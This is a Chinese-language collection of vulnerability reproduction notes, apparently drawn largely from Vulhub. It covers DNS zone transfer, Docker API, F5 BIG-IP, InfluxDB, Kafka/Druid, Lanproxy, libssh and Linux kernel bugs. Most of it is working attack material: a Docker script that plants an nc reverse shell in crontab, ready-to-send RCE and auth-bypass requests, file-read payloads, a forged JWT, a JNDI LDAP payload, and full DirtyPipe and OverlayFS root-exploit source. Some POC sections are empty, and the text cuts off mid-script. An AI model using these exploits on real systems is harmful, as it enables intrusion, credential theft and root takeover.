服务器设备漏洞


IP签名

网络设备与工具

dns

dns-zone-transfer

DNS域传送漏洞

DNS协议支持使用axfr类型的记录进行区域传送,用来解决主从同步的问题。如果管理员在配置DNS服务器的时候没有限制允许获取记录的来源,将会导致DNS域传送漏洞。

参考链接:

环境搭建

Vulhub使用Bind9来搭建dns服务器,但不代表只有Bind9支持AXFR记录。运行DNS服务器:

docker compose up -d

环境运行后,将会监听TCP和UDP的53端口,DNS协议同时支持从这两个端口进行数据传输。

漏洞复现

在Linux下,我们可以使用dig命令来发送dns请求。比如,我们可以用dig @your-ip www.vulhub.org获取域名www.vulhub.org在目标dns服务器上的A记录:

1

发送axfr类型的dns请求:dig @your-ip -t axfr vulhub.org

2

可见,我获取到了vulhub.org的所有子域名记录,这里存在DNS域传送漏洞。

我们也可以用nmap script来扫描该漏洞:nmap --script dns-zone-transfer.nse --script-args "dns-zone-transfer.domain=vulhub.org" -Pn -p 53 your-ip

3

docker

unauthorized-rce

docker daemon api 未授权访问漏洞

参考链接:

漏洞环境

编译及启动漏洞环境:

docker compose build
docker compose up -d

环境启动后,将监听2375端口。

漏洞复现

利用方法是,我们随意启动一个容器,并将宿主机的/etc目录挂载到容器中,便可以任意读写文件了。我们可以将命令写入crontab配置文件,进行反弹shell。

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

写入crontab文件,成功反弹shell:

image-20240802155438812

F5 BIG-IP

CVE-2020-5902

F5 BIG-IP 远程代码执行漏洞

漏洞描述

2020年07月03日, 360CERT监测发现 F5 发布了 F5 BIG-IP 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-5902,漏洞等级:严重

未授权的远程攻击者通过向漏洞页面发送特制的请求包,可以造成任意 Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。该漏洞影响控制面板受影响,不影响数据面板。

漏洞影响

F5 BIG-IP 15.x: 15.1.0.4

F5 BIG-IP 14.x: 14.1.2.6

F5 BIG-IP 13.x: 13.1.3.4

F5 BIG-IP 12.x: 12.1.5.2

F5 BIG-IP 11.x: 11.6.5.2

网络测绘

title=”BIG-IP&reg ;- Redirect”

漏洞复现

tmshCmdservice方法处理请求的时候,未对command 参数进行处理,直接调用 WorkspaceUtils.runTmshCommand(cmd, request); 方法执行命令,限制了执行delete,create,list,modify

if ("POST".equalsIgnoreCase(request.getMethod())) {
            String[] cmdArray = command.split(" ");
            String operation = cmdArray[0];
            String module = cmdArray[2];
            if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
               try {
                  String[] args = new String[]{command};
                  Result result = Syscall.callElevated(Syscall.TMSH, args);
                  output = result.getOutput();
                  error = result.getError();
               } catch (CallException var11) {
                  logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + var11.getMessage());
                  error = var11.getMessage();
               }
            } else {
               error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}

fileReadservice方法处理请求的时候,未对 fileName 参数进行处理,直接调用 WorkspaceUtils.readFile(fileName); 方法,进行文件读取。

img

fileSaveservice方法处理请求的时候,未对 fileNamecontent 参数进行处理,直接调用 WorkspaceUtils.saveFile(request); 方法,进行文件上传。

img

详情利用方式 https://github.com/jas502n/CVE-2020-5902

详情利用方式 https://github.com/wx3514/CVE-2020-5902/blob/master/CVE-2020-5902.md

读取文件

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

img

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp

fileName=/tmp/test.txt&content=test

读取文件 /tmp/test

image-20240811104759350

CVE-2021-22986

F5 BIG-IP 远程代码执行漏洞

漏洞描述

F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。

近日,F5发布了F5 BIG-IQ/F5 BIG-IP 代码执行,代码执行的风险声明,F5安全公告更新了BIG-IP,BIG-IQ中的多个严重漏洞。建议广大用户及时将f5 big-iq,f5 big-ip升级到最新版本,避免遭到攻击。

漏洞影响

F5 BIG-IP 16.x: 16.1.0.3

F5 BIG-IP 15.x: 15.1.0.4

F5 BIG-IP 14.x: 14.1.2.6

F5 BIG-IP 13.x: 13.1.3.4

F5 BIG-IP 12.x: 12.1.5.2

F5 BIG-IP 11.x: 11.6.5.2

网络测绘

icon_hash=”-335242539”

漏洞复现

访问登录页面如下

img

发送请求包

POST /mgmt/tm/util/bash HTTP/1.1
Host: 
Connection: close
Content-Length: 41
Cache-Control: max-age=0
Authorization: Basic YWRtaW46QVNhc1M=
X-F5-Auth-Token: 
Upgrade-Insecure-Requests: 1
Content-Type: application/json

{"command":"run","utilCmdArgs":"-c id"}

img

成功执行命令 id

CVE-2022-1388

iControl REST身份认证绕过漏洞

漏洞描述

BIG-IP 是 F5 公司的一款应用交付服务是面向以应用为中心的世界先进技术。借助 BIG-IP 应用程序交付控制器保持应用程序正常运行。BIG-IP 本地流量管理器 (LTM) 和 BIG-IP DNS 能够处理应用程序流量并保护基础设施。未经身份验证的攻击者可以通过管理端口或自身 IP 地址对 BIG-IP 系统进行网络访问,执行任意系统命令、创建或删除文件或禁用服务。

漏洞影响

11.6.1-16.1.2

网络测绘

icon_hash=”-335242539”

漏洞复现

登录页面

image-20220509184545493

发送请求包(Host设为localhost)

POST /mgmt/tm/util/bash HTTP/1.1
Host: localhost
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: close, X-F5-Auth-Token
Content-Length: 39

{"command":"run","utilCmdArgs":"-c id"}

image-20240811104716406

Fhem

Fhem FileLog_logWrapper 任意文件读取漏洞 CVE-2020-19360

漏洞描述

FHEM在6.0版本中存在文件包含漏洞,该漏洞源于允许FHEM/FileLog_logWrapper file参数允许攻击者包含文件,攻击者可以利用此漏洞导致敏感信息泄露。

漏洞影响

FHEM 6.0

网络测绘

title==”Home, Sweet Home”

漏洞复现

主页面

img

验证POC

/fhem/FileLog_logWrapper?dev=Logfile&file=%2fetc%2fpasswd&type=text

image-20240811104948401

influxdb

CVE-2019-20933

InfluxDB JWT 认证绕过漏洞(CVE-2019-20933)

InfluxDB是一款著名的时序数据库,其使用jwt作为鉴权方式。

在其1.7.6版本以前,默认设置jwt的认证密钥shared-secret为空字符串,导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。

参考链接:

漏洞环境

执行如下命令启动InfluxDB 1.6.6:

docker compose up -d

环境启动后,访问http://your-ip:8086/debug/vars即可查看一些服务信息,但此时执行SQL语句则会出现401错误:

漏洞复现

我们借助https://jwt.io/来生成jwt token:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "username": "admin",
  "exp": 1676346267
}

其中,admin是一个已经存在的用户,exp是一个时间戳,代表着这个token的过期时间,你需要设置为一个未来的时间戳。

最终生成的token:

发送带有这个jwt token的数据包,可见SQL语句执行成功:

POST /query HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoyOTg2MzQ2MjY3fQ.LJDvEy5zvSEpA_C6pnK3JJFkUKGq9eEi8T2wdum3R_s
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

db=sample&q=show+users

image-20240802155524051

kafka

CVE-2023-25194

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)

Apache Kafka是一个开源分布式消息队列,Kafka clients是相对应的Java客户端。

在版本3.3.2及以前,Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性sasl.jaas.config的值为com.sun.security.auth.module.JndiLoginModule,则可以发起JNDI连接,进而导致JNDI注入漏洞,执行任意命令。

由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的软件,且用户可以控制连接参数。

这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。这篇指南就来演示如何利用CVE-2023-25194来攻击Apache Druid。

参考链接:

漏洞环境

执行如下命令启动一个Apache Druid 25.0.0服务,其内部使用的kafka-clients版本是3.3.1:

docker compose up -d

服务启动后,访问http://your-ip:8888即可查看到Apache Druid主页。

漏洞复现

首先,使用JNDIExploit启动一个恶意的JNDI服务器:

可见,这个工具给出了很多利用方法,我们使用ldap://roguo-jndi-server:1389/Basic/Command/Base64/[base64_encoded_cmd],将命令id > /tmp/success编码后放在URL中。

将这个恶意LDAP URL放在下面这个请求中,并发送:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://roguo-jndi-server:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

进入容器后可见id > /tmp/success已经成功执行:

image-20240802155808598

Lanproxy

CVE-2021-3019

Lanproxy 目录遍历漏洞

漏洞描述

Lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面等等)本次Lanproxy 路径遍历漏洞 (CVE-2021-3019)通过../绕过读取任意文件。该漏洞允许目录遍历读取/../conf/config.properties来获取到内部网连接的凭据。

漏洞影响

Lanproxy 0.1

网络测绘

header= “Server: LPS-0.1”

环境搭建

https://github.com/ffay/lanproxy/

漏洞复现

打开登录页面如下

img

使用Burp抓包发送如下请求

GET /../conf/config.properties HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

img

成功在配置文件中读取 账号密码

img

试着读取其他敏感文件

img

img

libssh

CVE-2018-10933

libssh 服务端权限认证绕过漏洞(CVE-2018-10933)

libssh是一个提供ssh相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送MSG_USERAUTH_SUCCESS消息,绕过认证过程,未授权访问目标SSH服务器。

参考资料:

漏洞环境

执行如下命令启动存在漏洞的环境:

docker compose up -d

环境启动后,我们可以连接your-ip:2222端口(账号密码:myuser:mypassword),这是一个合法的ssh流程:

漏洞复现

参考 https://www.seebug.org/vuldb/ssvid-97614 中给出的POC,我们编写一个简单的漏洞复现脚本:

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

使用python3执行,即可在目标服务器上执行任意命令:

image-20240802155912623

Linux

Linux DirtyPipe权限提升漏洞 CVE-2022-0847

漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

漏洞影响

Linux内核 5.8 及之后版本

漏洞复现

查找具有suid权限的可执行文件

find / -user root -perm /4000 2>/dev/null

编译POC文件后,指定修改的Suid可执行文件,获取root权限

img

漏洞POC

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

参考文章

Linux eBPF权限提升漏洞 CVE-2022-23222

漏洞描述

Linux Kernel 是美国 Linux 基金会发布的开源操作系统 Linux 所使用的内核。Linux 内核是一种开源的类Unix 操作系统宏内核。整个 Linux 操作系统家族基于该内核部署在传统计算机平台(如个人计算机和服务器)。该漏洞是由于 Linux 内核的 BPF 验证器存在一个空指针漏洞,没有对 *_OR_NULL 指针类型进行限制,允许这些类型进行指针运算。攻击者可利用该漏洞在获得低权限的情况下,构造恶意数据执行空指针引用攻击,最终获取服务器 root 权限

漏洞影响

Linux 5.8 - 5.16

漏洞复现

运行编译好的EXP

img

漏洞POC


image-20240810162256649

Linux kernel权限提升漏洞 CVE-2021-3493

漏洞描述

Ubuntu OverlayFS Local Privesc
CVE-2021-3493 EXP在Github被公开,可以通过EXP在Ubuntu多个影响系统中提升 ROOT权限

漏洞影响

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

漏洞复现


环境使用腾讯云的Ubuntu镜像即可

gcc exploit.c -o exploit
chmod +x exploit
./exploit

下载并编译脚本

img

运行EXP成功提权 Root

img

漏洞POC

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

Linux openvswitch权限提升漏洞 CVE-2022-2639

漏洞描述

由于 openvswitch 模块在处理大量actions的情况下,可能存在越界写入漏洞,本地经过身份认证的攻击者可利用此漏洞获取root权限

漏洞影响

3.13 ≤ Linux Kernel < 5.18

漏洞复现

编译POC并运行获取Root权限

img

漏洞POC


image-20240810162439979

Linux Polkit权限提升漏洞 CVE-2021-4034

漏洞描述

Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。

漏洞影响

Polkit > 2009

漏洞复现


img

漏洞POC

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
    base64.b64decode(
